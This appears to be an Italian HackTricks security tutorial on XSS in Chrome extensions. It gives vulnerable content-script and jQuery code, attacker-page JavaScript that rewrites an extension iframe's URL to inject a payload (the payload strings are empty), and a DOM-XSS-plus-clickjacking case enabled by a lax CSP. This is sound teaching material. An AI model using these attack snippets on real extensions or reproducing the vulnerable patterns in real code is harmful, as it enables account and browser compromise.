# BrowExt - Esempio di XSS {{#include ../../banners/hacktricks-training.md}} ## Cross-Site Scripting (XSS) tramite Iframe In questa configurazione, viene implementato un **content script** per istanziare un Iframe, incorporando un URL con parametri di query come sorgente dell'Iframe: ```javascript chrome.storage.local.get("message", (result) => { let constructedURL = chrome.runtime.getURL("message.html") + "?content=" + encodeURIComponent(result.message) + "&redirect=https://example.net/details" frame.src = constructedURL }) ``` Una pagina HTML accessibile pubblicamente, **`message.html`**, è progettata per aggiungere dinamicamente contenuto al corpo del documento in base ai parametri nell'URL: ```javascript $(document).ready(() => { let urlParams = new URLSearchParams(window.location.search) let userContent = urlParams.get("content") $(document.body).html( `${userContent} ` ) $("#detailBtn").on("click", () => { let destinationURL = urlParams.get("redirect") chrome.tabs.create({ url: destinationURL }) }) }) ``` Uno script malevolo viene eseguito sulla pagina di un avversario, modificando il parametro `content` della sorgente dell'Iframe per introdurre un **XSS payload**. Questo viene realizzato aggiornando la sorgente dell'Iframe per includere uno script dannoso: ```javascript setTimeout(() => { let targetFrame = document.querySelector("iframe").src let baseURL = targetFrame.split("?")[0] let xssPayload = "" let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}` document.querySelector("iframe").src = maliciousURL }, 1000) ``` Una Content Security Policy eccessivamente permissiva come: ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` consente l'esecuzione di JavaScript, rendendo il sistema vulnerabile agli attacchi XSS. Un approccio alternativo per provocare l'XSS prevede la creazione di un elemento Iframe e l'impostazione della sua sorgente per includere lo script dannoso come parametro `content`: ```javascript let newFrame = document.createElement("iframe") newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + encodeURIComponent("") document.body.append(newFrame) ``` ## DOM-based XSS + ClickJacking Questo esempio è stato preso dal [post originale](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). Il problema principale deriva da una vulnerabilità di Cross-site Scripting (XSS) basata su DOM situata in **`/html/bookmarks.html`**. Il JavaScript problematico, parte di **`bookmarks.js`**, è dettagliato di seguito: ```javascript $("#btAdd").on("click", function () { var bookmarkName = $("#txtName").val() if ( $(".custom-button .label").filter(function () { return $(this).text() === bookmarkName }).length ) return false var bookmarkItem = $('
') bookmarkItem.html('' + bookmarkName + "") bookmarkItem.append('') bookmarkItem.attr("data-title", bookmarkName) bookmarkItem.data("timestamp", new Date().getTime()) $("section.bookmark-container .existing-items").append(bookmarkItem) persistData() }) ``` Questo frammento recupera il **valore** dal campo di input **`txtName`** e utilizza **la concatenazione di stringhe per generare HTML**, che viene poi aggiunto al DOM utilizzando la funzione `.append()` di jQuery. Tipicamente, la Content Security Policy (CSP) dell'estensione Chrome impedirebbe tali vulnerabilità. Tuttavia, a causa della **relaxation della CSP con ‘unsafe-eval’** e dell'uso dei metodi di manipolazione del DOM di jQuery (che impiegano [`globalEval()`](https://api.jquery.com/jquery.globaleval/) per passare script a [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) al momento dell'inserimento nel DOM), lo sfruttamento è ancora possibile. Sebbene questa vulnerabilità sia significativa, il suo sfruttamento è solitamente condizionato all'interazione dell'utente: visitare la pagina, inserire un payload XSS e attivare il pulsante “Aggiungi”. Per migliorare questa vulnerabilità, viene sfruttata una seconda vulnerabilità di **clickjacking**. Il manifesto dell'estensione Chrome mostra una politica `web_accessible_resources` estesa: ```json "web_accessible_resources": [ "html/bookmarks.html", "dist/*", "assets/*", "font/*", [...] ], ``` In particolare, la pagina **`/html/bookmarks.html`** è soggetta a framing, quindi vulnerabile a **clickjacking**. Questa vulnerabilità viene sfruttata per incapsulare la pagina all'interno del sito di un attaccante, sovrapponendola con elementi DOM per ridisegnare l'interfaccia in modo ingannevole. Questa manipolazione porta le vittime a interagire involontariamente con l'estensione sottostante. ## Riferimenti - [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) - [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) {{#include ../../banners/hacktricks-training.md}}